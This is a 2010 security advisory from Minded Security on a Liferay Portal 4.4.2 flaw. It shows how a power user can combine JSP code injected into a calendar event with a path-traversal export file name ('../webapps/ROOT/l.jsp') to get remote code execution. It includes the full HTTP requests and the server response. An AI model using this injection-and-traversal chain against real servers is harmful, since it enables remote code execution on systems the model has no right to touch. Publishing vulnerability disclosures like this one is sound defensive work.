Minded Security Labs: Advisory #MSA261009 Liferay Calendar "exportFileName" path manipulation Tested Versions: Liferay Enterprise Portal 4.4.2, other versions may also be affected. Minded Security ReferenceID: MSA261009 Credits: Discovery by Stefano Di Paola of Minded Security stefano.dipaola [_at_] mindedsecurity.com Reference: http://issues.liferay.com/browse/LPS-9556 Severity: High: it is possible to execute code remotely Solution: Upgrade to the latest version. Summary Minded Security Consultants discovered during a penetration testing activity that any poweruser can access his Liferay Calendar module and insert a new event and that he can enter arbitrary JSP code inside the event description. Analysis Any poweruser can access his Liferay Calendar module and insert a new event. It is possible to enter arbitrary JSP code <%="Code Execution"%> inside the description, as it is possible to see in the body of the following POST request: POST /user/poweruser/1?p_p_id=8&p_p_action=1&p_p_state=maximized& p_p_mode=view&_8_struts_action=%2Fcalendar%2Fedit_event HTTP/1.1 _8_cmd=add&_8_redirect=%2Fuser%2Fpoweruser%2F1%3Fp_p_id%3D8%26p_p_action %3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26_8_struts_action %3D%252Fcalendar%252Fview%26_8_month%3D4%26_8_day%3D27%26_8_year %3D2010%26tabs1%3Devents&_8_eventId=0&_8_tabs1TabsScroll= &_8_startDateMonth=4&_8_startDateDay=27&_8_startDateYear=2010 &_8_startDateHour=10&_8_startDateMinute=30&_8_startDateAmPm=0 &_8_durationHour=1&_8_durationMinute=00&_8_allDay=false &_8_timeZoneSensitive=true&_8_timeZoneSensitiveCheckbox=on &_8_title=New+Event&_8_description=%3C%25%3D%22Code+Execution%22%25%3E &_8_type=anniversary&_8_communityPermissions=VIEW&_8_guestPermissions=VIEW &_8_inputPermissionsShowConfigure=false&_8_inputPermissionsShowMore=false &_8_tabs1TabsScroll=&_8_recurrenceType=7&_8_dailyType=0&_8_dailyInterval=1 &_8_weeklyInterval=1&_8_monthlyType=0&_8_monthlyDay0=15 &_8_monthlyInterval0=1&_8_monthlyPos=1&_8_monthlyDay1=1 &_8_monthlyInterval1=1&_8_yearlyType=0&_8_yearlyMonth0=0&_8_yearlyDay0=15 &_8_yearlyInterval0=1&_8_yearlyPos=1&_8_yearlyDay1=1&_8_yearlyMonth1=0 &_8_yearlyInterval1=1&_8_endDateType=0&_8_endDateMonth=4&_8_endDateDay=27 &_8_endDateYear=2011&_8_endDateHour=10&_8_endDateMinute=21&_8_endDateAmPm=0 &_8_tabs1TabsScroll=&_8_firstReminder=900000&_8_secondReminder=300000 &_8_remindBy=email Now he can export his event list to an arbitrary file. Specifying an arbitrary filename in the ROOT path of the liferay application (ex: webapps/ROOT/l.jsp) liferay portal will create a file with jsp extension: POST /user/poweruser/1?p_p_id=8&p_p_action=1&p_p_state=exclusive& p_p_mode=view&_8_struts_action=%2Fcalendar%2Fexport_events HTTP/1.1 _8_tabs1TabsScroll=&_8_tabs1TabsScroll= &exportFileName=../webapps/ROOT/l.jsp&_8_tabs1TabsScroll=&_8_importFile= The name of the new file created will be specified in the response: HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: public Pragma: public Content-Disposition: attachment; filename="l11661.jsp" Content-Type: text/html;charset=UTF-8 Date: Thu, 27 May 2010 10:22:11 GMT Content-Length: 326 Now the malicious Power User can execute the previous code simply by requesting the file named "l11661.jsp". Disclosure Timeline 26/10/09 Issue found 12/05/10 Reported to Vendor Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Permission is hereby granted for the redistribution of this Alert electronically. It is not to be edited in any way without express consent of Minded Security Research Lab. If you wish to reprint the whole or any part of this Alert in any other medium excluding electronic medium, please e-mail research_at_mindedsecurity.com for permission. Copyright (c) 2010 Minded Security, S.r.l.. All rights reserved worldwide.